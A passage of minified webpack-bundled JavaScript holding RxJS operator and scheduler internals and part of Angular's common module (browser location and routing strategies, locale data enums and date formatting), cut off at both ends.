e=Number.POSITIVE_INFINITY,n=null,a=t[t.length-1];return(0,i.K)(a)?(n=t.pop(),t.length>1&&"number"==typeof t[t.length-1]&&(e=t.pop())):"number"==typeof a&&(e=t.pop()),null===n&&1===t.length&&t[0]instanceof r.y?t[0]:(0,o.J)(e)((0,s.n)(t,n))}},5917:function(t,e,n){"use strict";n.d(e,{of:function(){return s}});var r=n(4869),i=n(6693),o=n(4087);function s(...t){let e=t[t.length-1];return(0,r.K)(e)?(t.pop(),(0,o.r)(t,e)):(0,i.n)(t)}},8002:function(t,e,n){"use strict";n.d(e,{U:function(){return i}});var r=n(7393);function i(t,e){return function(n){if("function"!=typeof t)throw new TypeError("argument is not a function. Are you looking for `mapTo()`?");return n.lift(new o(t,e))}}class o{constructor(t,e){this.project=t,this.thisArg=e}call(t,e){return e.subscribe(new s(t,this.project,this.thisArg))}}class s extends r.L{constructor(t,e,n){super(t),this.project=e,this.count=0,this.thisArg=n||this}_next(t){let e;try{e=this.project.call(this.thisArg,t,this.count++)}catch(n){return void this.destination.error(n)}this.destination.next(e)}}},3282:function(t,e,n){"use strict";n.d(e,{J:function(){return o}});var r=n(9773),i=n(4487);function o(t=Number.POSITIVE_INFINITY){return(0,r.zg)(i.y,t)}},9773:function(t,e,n){"use strict";n.d(e,{zg:function(){return s}});var r=n(8002),i=n(4402),o=n(5345);function s(t,e,n=Number.POSITIVE_INFINITY){return"function"==typeof e?o=>o.pipe(s((n,o)=>(0,i.D)(t(n,o)).pipe((0,r.U)((t,r)=>e(n,t,o,r))),n)):("number"==typeof e&&(n=e),e=>e.lift(new a(t,n)))}class a{constructor(t,e=Number.POSITIVE_INFINITY){this.project=t,this.concurrent=e}call(t,e){return e.subscribe(new c(t,this.project,this.concurrent))}}class c extends o.Ds{constructor(t,e,n=Number.POSITIVE_INFINITY){super(t),this.project=e,this.concurrent=n,this.hasCompleted=!1,this.buffer=[],this.active=0,this.index=0}_next(t){this.active<this.concurrent?this._tryNext(t):this.buffer.push(t)}_tryNext(t){let e;const n=this.index++;try{e=this.project(t,n)}catch(r){return void this.destination.error(r)}this.active++,this._innerSub(e)}_innerSub(t){const e=new o.IY(this),n=this.destination;n.add(e);const r=(0,o.ft)(t,e);r!==e&&n.add(r)}_complete(){this.hasCompleted=!0,0===this.active&&0===this.buffer.length&&this.destination.complete(),this.unsubscribe()}notifyNext(t){this.destination.next(t)}notifyComplete(){const t=this.buffer;this.active--,t.length>0?this._next(t.shift()):0===this.active&&this.hasCompleted&&this.destination.complete()}}},309:function(t,e,n){"use strict";n.d(e,{ht:function(){return u},QV:function(){return c}});var r=n(7393),i=n(9193),o=n(5917),s=n(7574);class a{constructor(t,e,n){this.kind=t,this.value=e,this.error=n,this.hasValue="N"===t}observe(t){switch(this.kind){case"N":return t.next&&t.next(this.value);case"E":return t.error&&t.error(this.error);case"C":return t.complete&&t.complete()}}do(t,e,n){switch(this.kind){case"N":return t&&t(this.value);case"E":return e&&e(this.error);case"C":return n&&n()}}accept(t,e,n){return t&&"function"==typeof t.next?this.observe(t):this.do(t,e,n)}toObservable(){switch(this.kind){case"N":return(0,o.of)(this.value);case"E":return t=this.error,new s.y(e=>e.error(t));case"C":return(0,i.c)()}var t;throw new Error("unexpected notification kind value")}static createNext(t){return void 0!==t?new a("N",t):a.undefinedValueNotification}static createError(t){return new a("E",void 0,t)}static createComplete(){return a.completeNotification}}function c(t,e=0){return function(n){return n.lift(new l(t,e))}}a.completeNotification=new a("C"),a.undefinedValueNotification=new a("N",void 0);class l{constructor(t,e=0){this.scheduler=t,this.delay=e}call(t,e){return e.subscribe(new u(t,this.scheduler,this.delay))}}class u extends r.L{constructor(t,e,n=0){super(t),this.scheduler=e,this.delay=n}static dispatch(t){const{notification:e,destination:n}=t;e.observe(n),this.unsubscribe()}scheduleMessage(t){this.destination.add(this.scheduler.schedule(u.dispatch,this.delay,new d(t,this.destination)))}_next(t){this.scheduleMessage(a.createNext(t))}_error(t){this.scheduleMessage(a.createError(t)),this.unsubscribe()}_complete(){this.scheduleMessage(a.createComplete()),this.unsubscribe()}}class d{constructor(t,e){this.notification=t,this.destination=e}}},1307:function(t,e,n){"use strict";n.d(e,{x:function(){return i}});var r=n(7393);function i(){return function(t){return t.lift(new o(t))}}class o{constructor(t){this.connectable=t}call(t,e){const{connectable:n}=this;n._refCount++;const r=new s(t,n),i=e.subscribe(r);return r.closed||(r.connection=n.connect()),i}}class s extends r.L{constructor(t,e){super(t),this.connectable=e}_unsubscribe(){const{connectable:t}=this;if(!t)return void(this.connection=null);this.connectable=null;const e=t._refCount;if(e<=0)return void(this.connection=null);if(t._refCount=e-1,e>1)return void(this.connection=null);const{connection:n}=this,r=t._connection;this.connection=null,r&&(!n||r===n)&&r.unsubscribe()}}},9673:function(t,e,n){"use strict";n.d(e,{R:function(){return a}});var r=n(7574),i=n(4581),o=n(6561);class s extends r.y{constructor(t,e=0,n=i.e){super(),this.source=t,this.delayTime=e,this.scheduler=n,(!(0,o.k)(e)||e<0)&&(this.delayTime=0),(!n||"function"!=typeof n.schedule)&&(this.scheduler=i.e)}static create(t,e=0,n=i.e){return new s(t,e,n)}static dispatch(t){const{source:e,subscriber:n}=t;return this.add(e.subscribe(n))}_subscribe(t){return this.scheduler.schedule(s.dispatch,this.delayTime,{source:this.source,subscriber:t})}}function a(t,e=0){return function(n){return n.lift(new c(t,e))}}class c{constructor(t,e){this.scheduler=t,this.delay=e}call(t,e){return new s(e,this.delay,this.scheduler).subscribe(t)}}},3342:function(t,e,n){"use strict";n.d(e,{b:function(){return s}});var r=n(7393);function i(){}var o=n(9105);function s(t,e,n){return function(r){return r.lift(new a(t,e,n))}}class a{constructor(t,e,n){this.nextOrObserver=t,this.error=e,this.complete=n}call(t,e){return e.subscribe(new c(t,this.nextOrObserver,this.error,this.complete))}}class c extends r.L{constructor(t,e,n,r){super(t),this._tapNext=i,this._tapError=i,this._tapComplete=i,this._tapError=n||i,this._tapComplete=r||i,(0,o.m)(e)?(this._context=this,this._tapNext=e):e&&(this._context=e,this._tapNext=e.next||i,this._tapError=e.error||i,this._tapComplete=e.complete||i)}_next(t){try{this._tapNext.call(this._context,t)}catch(e){return void this.destination.error(e)}this.destination.next(t)}_error(t){try{this._tapError.call(this._context,t)}catch(e){return void this.destination.error(e)}this.destination.error(t)}_complete(){try{this._tapComplete.call(this._context)}catch(t){return void this.destination.error(t)}return this.destination.complete()}}},4087:function(t,e,n){"use strict";n.d(e,{r:function(){return o}});var r=n(7574),i=n(5319);function o(t,e){return new r.y(n=>{const r=new i.w;let o=0;return r.add(e.schedule(function(){o!==t.length?(n.next(t[o++]),n.closed||r.add(this.schedule())):n.complete()})),r})}},6465:function(t,e,n){"use strict";n.d(e,{o:function(){return o}});var r=n(5319);class i extends r.w{constructor(t,e){super()}schedule(t,e=0){return this}}class o extends i{constructor(t,e){super(t,e),this.scheduler=t,this.work=e,this.pending=!1}schedule(t,e=0){if(this.closed)return this;this.state=t;const n=this.id,r=this.scheduler;return null!=n&&(this.id=this.recycleAsyncId(r,n,e)),this.pending=!0,this.delay=e,this.id=this.id||this.requestAsyncId(r,this.id,e),this}requestAsyncId(t,e,n=0){return setInterval(t.flush.bind(t,this),n)}recycleAsyncId(t,e,n=0){if(null!==n&&this.delay===n&&!1===this.pending)return e;clearInterval(e)}execute(t,e){if(this.closed)return new Error("executing a cancelled action");this.pending=!1;const n=this._execute(t,e);if(n)return n;!1===this.pending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))}_execute(t,e){let n,r=!1;try{this.work(t)}catch(i){r=!0,n=!!i&&i||new Error(i)}if(r)return this.unsubscribe(),n}_unsubscribe(){const t=this.id,e=this.scheduler,n=e.actions,r=n.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==r&&n.splice(r,1),null!=t&&(this.id=this.recycleAsyncId(e,t,null)),this.delay=null}}},6102:function(t,e,n){"use strict";n.d(e,{v:function(){return i}});let r=(()=>{class t{constructor(e,n=t.now){this.SchedulerAction=e,this.now=n}schedule(t,e=0,n){return new this.SchedulerAction(this,t).schedule(n,e)}}return t.now=()=>Date.now(),t})();class i extends r{constructor(t,e=r.now){super(t,()=>i.delegate&&i.delegate!==this?i.delegate.now():e()),this.actions=[],this.active=!1,this.scheduled=void 0}schedule(t,e=0,n){return i.delegate&&i.delegate!==this?i.delegate.schedule(t,e,n):super.schedule(t,e,n)}flush(t){const{actions:e}=this;if(this.active)return void e.push(t);let n;this.active=!0;do{if(n=t.execute(t.state,t.delay))break}while(t=e.shift());if(this.active=!1,n){for(;t=e.shift();)t.unsubscribe();throw n}}}},4581:function(t,e,n){"use strict";n.d(e,{e:function(){return d},E:function(){return u}});let r=1;const i=Promise.resolve(),o={};function s(t){return t in o&&(delete o[t],!0)}const a={setImmediate(t){const e=r++;return o[e]=!0,i.then(()=>s(e)&&t()),e},clearImmediate(t){s(t)}};var c=n(6465),l=n(6102);const u=new class extends l.v{flush(t){this.active=!0,this.scheduled=void 0;const{actions:e}=this;let n,r=-1,i=e.length;t=t||e.shift();do{if(n=t.execute(t.state,t.delay))break}while(++r<i&&(t=e.shift()));if(this.active=!1,n){for(;++r<i&&(t=e.shift());)t.unsubscribe();throw n}}}(class extends c.o{constructor(t,e){super(t,e),this.scheduler=t,this.work=e}requestAsyncId(t,e,n=0){return null!==n&&n>0?super.requestAsyncId(t,e,n):(t.actions.push(this),t.scheduled||(t.scheduled=a.setImmediate(t.flush.bind(t,null))))}recycleAsyncId(t,e,n=0){if(null!==n&&n>0||null===n&&this.delay>0)return super.recycleAsyncId(t,e,n);0===t.actions.length&&(a.clearImmediate(e),t.scheduled=void 0)}}),d=u},3637:function(t,e,n){"use strict";n.d(e,{z:function(){return i},P:function(){return o}});var r=n(6465);const i=new(n(6102).v)(r.o),o=i},7771:function(t,e,n){"use strict";n.d(e,{c:function(){return s},N:function(){return o}});var r=n(6465),i=n(6102);const o=new class extends i.v{}(class extends r.o{constructor(t,e){super(t,e),this.scheduler=t,this.work=e}schedule(t,e=0){return e>0?super.schedule(t,e):(this.delay=e,this.state=t,this.scheduler.flush(this),this)}execute(t,e){return e>0||this.closed?super.execute(t,e):this._execute(t,e)}requestAsyncId(t,e,n=0){return null!==n&&n>0||null===n&&this.delay>0?super.requestAsyncId(t,e,n):t.flush(this)}}),s=o},377:function(t,e,n){"use strict";n.d(e,{hZ:function(){return r}});const r="function"==typeof Symbol&&Symbol.iterator?Symbol.iterator:"@@iterator"},6554:function(t,e,n){"use strict";n.d(e,{L:function(){return r}});const r="function"==typeof Symbol&&Symbol.observable||"@@observable"},9181:function(t,e,n){"use strict";n.d(e,{b:function(){return r}});const r="function"==typeof Symbol?Symbol("rxSubscriber"):"@@rxSubscriber_"+Math.random()},7971:function(t,e,n){"use strict";n.d(e,{N:function(){return r}});const r=(()=>{function t(){return Error.call(this),this.message="object unsubscribed",this.name="ObjectUnsubscribedError",this}return t.prototype=Object.create(Error.prototype),t})()},4449:function(t,e,n){"use strict";function r(t){setTimeout(()=>{throw t},0)}n.d(e,{z:function(){return r}})},4487:function(t,e,n){"use strict";function r(t){return t}n.d(e,{y:function(){return r}})},9796:function(t,e,n){"use strict";n.d(e,{k:function(){return r}});const r=Array.isArray||(t=>t&&"number"==typeof t.length)},9489:function(t,e,n){"use strict";n.d(e,{z:function(){return r}});const r=t=>t&&"number"==typeof t.length&&"function"!=typeof t},9105:function(t,e,n){"use strict";function r(t){return"function"==typeof t}n.d(e,{m:function(){return r}})},6561:function(t,e,n){"use strict";n.d(e,{k:function(){return i}});var r=n(9796);function i(t){return!(0,r.k)(t)&&t-parseFloat(t)+1>=0}},1555:function(t,e,n){"use strict";function r(t){return null!==t&&"object"==typeof t}n.d(e,{K:function(){return r}})},4072:function(t,e,n){"use strict";function r(t){return!!t&&"function"!=typeof t.subscribe&&"function"==typeof t.then}n.d(e,{t:function(){return r}})},4869:function(t,e,n){"use strict";function r(t){return t&&"function"==typeof t.schedule}n.d(e,{K:function(){return r}})},7444:function(t,e,n){"use strict";n.d(e,{s:function(){return u}});var r=n(5015),i=n(4449),o=n(377),s=n(6554),a=n(9489),c=n(4072),l=n(1555);const u=t=>{if(t&&"function"==typeof t[s.L])return(t=>e=>{const n=t[s.L]();if("function"!=typeof n.subscribe)throw new TypeError("Provided object does not correctly implement Symbol.observable");return n.subscribe(e)})(t);if((0,a.z)(t))return(0,r.V)(t);if((0,c.t)(t))return(t=>e=>(t.then(t=>{e.closed||(e.next(t),e.complete())},t=>e.error(t)).then(null,i.z),e))(t);if(t&&"function"==typeof t[o.hZ])return(t=>e=>{const n=t[o.hZ]();for(;;){let t;try{t=n.next()}catch(r){return e.error(r),e}if(t.done){e.complete();break}if(e.next(t.value),e.closed)break}return"function"==typeof n.return&&e.add(()=>{n.return&&n.return()}),e})(t);{const e=`You provided ${(0,l.K)(t)?"an invalid object":`'${t}'`} where a stream was expected. You can provide an Observable, Promise, Array, or Iterable.`;throw new TypeError(e)}}},5015:function(t,e,n){"use strict";n.d(e,{V:function(){return r}});const r=t=>e=>{for(let n=0,r=t.length;n<r&&!e.closed;n++)e.next(t[n]);e.complete()}},8878:function(t,e,n){"use strict";var r=n(3018);let i=null;function o(){return i}const s=new r.InjectionToken("DocumentToken");let a=(()=>{class t{historyGo(t){throw new Error("Not implemented")}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,r.\u0275\u0275defineInjectable)({factory:c,token:t,providedIn:"platform"}),t})();function c(){return(0,r.\u0275\u0275inject)(u)}const l=new r.InjectionToken("Location Initialized");let u=(()=>{class t extends a{constructor(t){super(),this._doc=t,this._init()}_init(){this.location=window.location,this._history=window.history}getBaseHrefFromDOM(){return o().getBaseHref(this._doc)}onPopState(t){const e=o().getGlobalEventTarget(this._doc,"window");return e.addEventListener("popstate",t,!1),()=>e.removeEventListener("popstate",t)}onHashChange(t){const e=o().getGlobalEventTarget(this._doc,"window");return e.addEventListener("hashchange",t,!1),()=>e.removeEventListener("hashchange",t)}get href(){return this.location.href}get protocol(){return this.location.protocol}get hostname(){return this.location.hostname}get port(){return this.location.port}get pathname(){return this.location.pathname}get search(){return this.location.search}get hash(){return this.location.hash}set pathname(t){this.location.pathname=t}pushState(t,e,n){d()?this._history.pushState(t,e,n):this.location.hash=n}replaceState(t,e,n){d()?this._history.replaceState(t,e,n):this.location.hash=n}forward(){this._history.forward()}back(){this._history.back()}historyGo(t=0){this._history.go(t)}getState(){return this._history.state}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s))},t.\u0275prov=(0,r.\u0275\u0275defineInjectable)({factory:h,token:t,providedIn:"platform"}),t})();function d(){return!!window.history.pushState}function h(){return new u((0,r.\u0275\u0275inject)(s))}function p(t,e){if(0==t.length)return e;if(0==e.length)return t;let n=0;return t.endsWith("/")&&n++,e.startsWith("/")&&n++,2==n?t+e.substring(1):1==n?t+e:t+"/"+e}function f(t){const e=t.match(/#|\?|$/),n=e&&e.index||t.length;return t.slice(0,n-("/"===t[n-1]?1:0))+t.slice(n)}function g(t){return t&&"?"!==t[0]?"?"+t:t}let m=(()=>{class t{historyGo(t){throw new Error("Not implemented")}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,r.\u0275\u0275defineInjectable)({factory:y,token:t,providedIn:"root"}),t})();function y(t){const e=(0,r.\u0275\u0275inject)(s).location;return new v((0,r.\u0275\u0275inject)(a),e&&e.origin||"")}const b=new r.InjectionToken("appBaseHref");let v=(()=>{class t extends m{constructor(t,e){if(super(),this._platformLocation=t,this._removeListenerFns=[],null==e&&(e=this._platformLocation.getBaseHrefFromDOM()),null==e)throw new Error("No base href set. Please provide a value for the APP_BASE_HREF token or add a base element to the document.");this._baseHref=e}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(t){this._removeListenerFns.push(this._platformLocation.onPopState(t),this._platformLocation.onHashChange(t))}getBaseHref(){return this._baseHref}prepareExternalUrl(t){return p(this._baseHref,t)}path(t=!1){const e=this._platformLocation.pathname+g(this._platformLocation.search),n=this._platformLocation.hash;return n&&t?`${e}${n}`:e}pushState(t,e,n,r){const i=this.prepareExternalUrl(n+g(r));this._platformLocation.pushState(t,e,i)}replaceState(t,e,n,r){const i=this.prepareExternalUrl(n+g(r));this._platformLocation.replaceState(t,e,i)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}historyGo(t=0){var e,n;null===(n=(e=this._platformLocation).historyGo)||void 0===n||n.call(e,t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(a),r.\u0275\u0275inject(b,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),_=(()=>{class t extends m{constructor(t,e){super(),this._platformLocation=t,this._baseHref="",this._removeListenerFns=[],null!=e&&(this._baseHref=e)}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(t){this._removeListenerFns.push(this._platformLocation.onPopState(t),this._platformLocation.onHashChange(t))}getBaseHref(){return this._baseHref}path(t=!1){let e=this._platformLocation.hash;return null==e&&(e="#"),e.length>0?e.substring(1):e}prepareExternalUrl(t){const e=p(this._baseHref,t);return e.length>0?"#"+e:e}pushState(t,e,n,r){let i=this.prepareExternalUrl(n+g(r));0==i.length&&(i=this._platformLocation.pathname),this._platformLocation.pushState(t,e,i)}replaceState(t,e,n,r){let i=this.prepareExternalUrl(n+g(r));0==i.length&&(i=this._platformLocation.pathname),this._platformLocation.replaceState(t,e,i)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}historyGo(t=0){var e,n;null===(n=(e=this._platformLocation).historyGo)||void 0===n||n.call(e,t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(a),r.\u0275\u0275inject(b,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),C=(()=>{class t{constructor(t,e){this._subject=new r.EventEmitter,this._urlChangeListeners=[],this._platformStrategy=t;const n=this._platformStrategy.getBaseHref();this._platformLocation=e,this._baseHref=f(x(n)),this._platformStrategy.onPopState(t=>{this._subject.emit({url:this.path(!0),pop:!0,state:t.state,type:t.type})})}path(t=!1){return this.normalize(this._platformStrategy.path(t))}getState(){return this._platformLocation.getState()}isCurrentPathEqualTo(t,e=""){return this.path()==this.normalize(t+g(e))}normalize(e){return t.stripTrailingSlash(function(t,e){return t&&e.startsWith(t)?e.substring(t.length):e}(this._baseHref,x(e)))}prepareExternalUrl(t){return t&&"/"!==t[0]&&(t="/"+t),this._platformStrategy.prepareExternalUrl(t)}go(t,e="",n=null){this._platformStrategy.pushState(n,"",t,e),this._notifyUrlChangeListeners(this.prepareExternalUrl(t+g(e)),n)}replaceState(t,e="",n=null){this._platformStrategy.replaceState(n,"",t,e),this._notifyUrlChangeListeners(this.prepareExternalUrl(t+g(e)),n)}forward(){this._platformStrategy.forward()}back(){this._platformStrategy.back()}historyGo(t=0){var e,n;null===(n=(e=this._platformStrategy).historyGo)||void 0===n||n.call(e,t)}onUrlChange(t){this._urlChangeListeners.push(t),this._urlChangeSubscription||(this._urlChangeSubscription=this.subscribe(t=>{this._notifyUrlChangeListeners(t.url,t.state)}))}_notifyUrlChangeListeners(t="",e){this._urlChangeListeners.forEach(n=>n(t,e))}subscribe(t,e,n){return this._subject.subscribe({next:t,error:e,complete:n})}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(m),r.\u0275\u0275inject(a))},t.normalizeQueryParams=g,t.joinWithSlash=p,t.stripTrailingSlash=f,t.\u0275prov=(0,r.\u0275\u0275defineInjectable)({factory:w,token:t,providedIn:"root"}),t})();function w(){return new C((0,r.\u0275\u0275inject)(m),(0,r.\u0275\u0275inject)(a))}function x(t){return t.replace(/\/index.html$/,"")}var P=(()=>((P=P||{})[P.Zero=0]="Zero",P[P.One=1]="One",P[P.Two=2]="Two",P[P.Few=3]="Few",P[P.Many=4]="Many",P[P.Other=5]="Other",P))(),S=(()=>((S=S||{})[S.Format=0]="Format",S[S.Standalone=1]="Standalone",S))(),M=(()=>((M=M||{})[M.Narrow=0]="Narrow",M[M.Abbreviated=1]="Abbreviated",M[M.Wide=2]="Wide",M[M.Short=3]="Short",M))(),O=(()=>((O=O||{})[O.Short=0]="Short",O[O.Medium=1]="Medium",O[O.Long=2]="Long",O[O.Full=3]="Full",O))(),E=(()=>((E=E||{})[E.Decimal=0]="Decimal",E[E.Group=1]="Group",E[E.List=2]="List",E[E.PercentSign=3]="PercentSign",E[E.PlusSign=4]="PlusSign",E[E.MinusSign=5]="MinusSign",E[E.Exponential=6]="Exponential",E[E.SuperscriptingExponent=7]="SuperscriptingExponent",E[E.PerMille=8]="PerMille",E[E.Infinity=9]="Infinity",E[E.NaN=10]="NaN",E[E.TimeSeparator=11]="TimeSeparator",E[E.CurrencyDecimal=12]="CurrencyDecimal",E[E.CurrencyGroup=13]="CurrencyGroup",E))();function T(t,e){return R((0,r.\u0275findLocaleData)(t)[r.\u0275LocaleDataIndex.DateFormat],e)}function I(t,e){return R((0,r.\u0275findLocaleData)(t)[r.\u0275LocaleDataIndex.TimeFormat],e)}function k(t,e){return R((0,r.\u0275findLocaleData)(t)[r.\u0275LocaleDataIndex.DateTimeFormat],e)}function A(t,e){const n=(0,r.\u0275findLocaleData)(t),i=n[r.\u0275LocaleDataIndex.NumberSymbols][e];if(void 0===i){if(e===E.CurrencyDecimal)return n[r.\u0275LocaleDataIndex.NumberSymbols][E.Decimal];if(e===E.CurrencyGroup)return n[r.\u0275LocaleDataIndex.NumberSymbols][E.Group]}return i}const D=r.\u0275getLocalePluralCase;function N(t){if(!t[r.\u0275LocaleDataIndex.ExtraData])throw new Error(`Missing extra locale data for the locale "${t[r.\u0275LocaleDataIndex.LocaleId]}". Use "registerLocaleData" to load new data. See the "I18n guide" on angular.io to know more.`)}function R(t,e){for(let n=e;n>-1;n--)if(void 0!==t[n])return t[n];throw new Error("Locale data API: locale data undefined")}function L(t){const[e,n]=t.split(":");return{hours:+e,minutes:+n}}const j=/^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z|([+-])(\d\d):?(\d\d))?)?$/,F={},V=/((?:[^BEGHLMOSWYZabcdhmswyz']+)|(?:'(?:[^']|'')*')|(?:G{1,5}|y{1,4}|Y{1,4}|M{1,5}|L{1,5}|w{1,2}|W{1}|d{1,2}|E{1,6}|c{1,6}|a{1,5}|b{1,5}|B{1,5}|h{1,2}|H{1,2}|m{1,2}|s{1,2}|S{1,3}|z{1,4}|Z{1,5}|O{1,4}))([\s\S]*)/;var B=(()=>((B=B||{})[B.Short=0]="Short",B[B.ShortGMT=1]="ShortGMT",B[B.Long=2]="Long",B[B.Extended=3]="Extended",B))(),H=(()=>((H=H||{})[H.FullYear=0]="FullYear",H[H.Month=1]="Month",H[H.Date=2]="Date",H[H.Hours=3]="Hours",H[H.Minutes=4]="Minutes",H[H.Seconds=5]="Seconds",H[H.FractionalSeconds=6]="FractionalSeconds",H[H.Day=7]="Day",H))(),z=(()=>((z=z||{})[z.DayPeriods=0]="DayPeriods",z[z.Days=1]="Days",z[z.Months=2]="Months",z[z.Eras=3]="Eras",z))();function G(t,e,n,r){let i=function(t){if(nt(t))return t;if("number"==typeof t&&!isNaN(t))return new Date(t);if("string"==typeof t){if(t=t.trim(),/^(\d{4}(-\d{1,2}(-\d{1,2})?)?)$/.test(t)){const[e,n=1,r=1]=t.split("-").map(t=>+t);return U(e,n-1,r)}const e=parseFloat(t);if(!isNaN(t-e))return new Date(e);let n;if(n=t.match(j))return function(t){const e=new Date(0);let n=0,r=0;const i=t[8]?e.setUTCFullYear:e.setFullYear,o=t[8]?e.setUTCHours:e.setHours;t[9]&&(n=Number(t[9]+t[10]),r=Number(t[9]+t[11])),i.call(e,Number(t[1]),Number(t[2])-1,Number(t[3]));const s=Number(t[4]||0)-n,a=Number(t[5]||0)-r,c=Number(t[6]||0),l=Math.floor(1e3*parseFloat("0."+(t[7]||0)));return o.call(e,s,a,c,l),e}(n)}const e=new Date(t);if(!nt(e))throw new Error(`Unable to convert "${t}" into a date`);return e}(t);e=q(n,e)||e;let o,s=[];for(;e;){if(o=V.exec(e),!o){s.push(e);break}{s=s.concat(o.slice(1));const t=s.pop();if(!t)break;e=t}}let a=i.getTimezoneOffset();r&&(a=et(r,a),i=function(t,e,n){const r=t.getTimezoneOffset();return function(t,e){return(t=new Date(t.getTime())).setMinutes(t.getMinutes()+e),t}(t,-1*(et(e,r)-r))}(i,r));let c="";return s.forEach(t=>{const e=function(t){if(tt[t])return tt[t];let e;switch(t){case"G":case"GG":case"GGG":e=Q(z.Eras,M.Abbreviated);break;case"GGGG":e=Q(z.Eras,M.Wide);break;case"GGGGG":e=Q(z.Eras,M.Narrow);break;case"y":e=$(H.FullYear,1,0,!1,!0);break;case"yy":e=$(H.FullYear,2,0,!0,!0);break;case"yyy":e=$(H.FullYear,3,0,!1,!0);break;case"yyyy":e=$(H.FullYear,4,0,!1,!0);break;case"Y":e=J(1);break;case"YY":e=J(2,!0);break;case"YYY":e=J(3);break;case"YYYY":e=J(4);break;case"M":case"L":e=$(H.Month,1,1);break;case"MM":case"LL":e=$(H.Month,2,1);break;case"MMM":e=Q(z.Months,M.Abbreviated);break;case"MMMM":e=Q(z.Months,M.Wide);break;case"MMMMM":e=Q(z.Months,M.Narrow);break;case"LLL":e=Q(z.Months,M.Abbreviated,S.Standalone);break;case"LLLL":e=Q(z.Months,M.Wide,S.Standalone);break;case"LLLLL":e=Q(z.Months,M.Narrow,S.Standalone);break;case"w":e=Y(1);break;case"ww":e=Y(2);break;case"W":e=Y(1,!0);break;case"d":e=$(H.Date,1);break;case"dd":e=$(H.Date,2);break;case"c":case"cc":e=$(H.Day,1);break;case"ccc":e=Q(z.Days,M.Abbreviated,S.Standalone);break;case"cccc":e=Q(z.Days,M.Wide,S.Standalone);break;case"ccccc":e=Q(z.Days,M.Narrow,S.Standalone);break;case"cccccc":e=Q(z.Days,M.Short,S.Standalone);break;case"E":case"EE":case"EEE":e=Q(z.Days,M.Abbreviated);break;case"EEEE":e=Q(z.Days,M.Wide);break;case"EEEEE":e=Q(z.Days,M.Narrow);break;case"EEEEEE":e=Q(z.Days,M.Short);break;case"a":case"aa":case"aaa":e=Q(z.DayPeriods,M.Abbreviated);break;case"aaaa":e=Q(z.DayPeriods,M.Wide);break;case"aaaaa":e=Q(z.DayPeriods,M.Narrow);break;case"b":case"bb":case"bbb":e=Q(z.DayPeriods,M.Abbreviated,S.Standalone,!0);break;case"bbbb":e=Q(z.DayPeriods,M.Wide,S.Standalone,!0);break;case"bbbbb":e=Q(z.DayPeriods,M.Narrow,S.Standalone,!0);break;case"B":case"BB":case"BBB":e=Q(z.DayPeriods,M.Abbreviated,S.Format,!0);break;case"BBBB":e=Q(z.DayPeriods,M.Wide,S.Format,!0);break;case"BBBBB":e=Q(z.DayPeriods,M.Narrow,S.Format,!0);break;case"h":e=$(H.Hours,1,-12);break;case"hh":e=$(H.Hours,2,-12);break;case"H":e=$(H.Hours,1);break;case"HH":e=$(H.Hours,2);break;case"m":e=$(H.Minutes,1);break;case"mm":e=$(H.Minutes,2);break;case"s":e=$(H.Seconds,1);break;case"ss":e=$(H.Seconds,2);break;case"S":e=$(H.FractionalSeconds,1);break;case"SS":e=$(H.FractionalSeconds,2);break;case"SSS":e=$(H.FractionalSeconds,3);break;case"Z":case"ZZ":case"ZZZ":e=X(B.Short);break;case"ZZZZZ":e=X(B.Extended);break;case"O":case"OO":case"OOO":case"z":case"zz":case"zzz":e=X(B.ShortGMT);break;case"OOOO":case"ZZZZ":case"zzzz":e=X(B.Long);break;default:return null}return tt[t]=e,e}(t);c+=e?e(i,n,a):"''"===t?"'":t.replace(/(^'|'$)/g,"").replace(/''/g,"'")}),c}function U(t,e,n){const r=new Date(0);return r.setFullYear(t,e,n),r.setHours(0,0,0),r}function q(t,e){const n=function(t){return(0,r.\u0275findLocaleData)(t)[r.\u0275LocaleDataIndex.LocaleId]}(t);if(F[n]=F[n]||{},F[n][e])return F[n][e];let i="";switch(e){case"shortDate":i=T(t,O.Short);break;case"mediumDate":i=T(t,O.Medium);break;case"longDate":i=T(t,O.Long);break;case"fullDate":i=T(t,O.Full);break;case"shortTime":i=I(t,O.Short);break;case"mediumTime":i=I(t,O.Medium);break;case"longTime":i=I(t,O.Long);break;case"fullTime":i=I(t,O.Full);break;case"short":const e=q(t,"shortTime"),n=q(t,"shortDate");i=W(k(t,O.Short),[e,n]);break;case"medium":const r=q(t,"mediumTime"),o=q(t,"mediumDate");i=W(k(t,O.Medium),[r,o]);break;case"long":const s=q(t,"longTime"),a=q(t,"longDate");i=W(k(t,O.Long),[s,a]);break;case"full":const c=q(t,"fullTime"),l=q(t,"fullDate");i=W(k(t,O.Full),[c,l])}return i&&(F[n][e]=i),i}function W(t,e){return e&&(t=t.replace(/\{([^}]+)}/g,function(t,n){return null!=e&&n in e?e[n]:t})),t}function K(t,e,n="-",r,i){let o="";(t<0||i&&t<=0)&&(i?t=1-t:(t=-t,o=n));let s=String(t);for(;s.length<e;)s="0"+s;return r&&(s=s.substr(s.length-e)),o+s}function $(t,e,n=0,r=!1,i=!1){return function(o,s){let a=function(t,e){switch(t){case H.FullYear:return e.getFullYear();case H.Month:return e.getMonth();case H.Date:return e.getDate();case H.Hours:return e.getHours();case H.Minutes:return e.getMinutes();case H.Seconds:return e.getSeconds();case H.FractionalSeconds:return e.getMilliseconds();case H.Day:return e.getDay();default:throw new Error(`Unknown DateType value 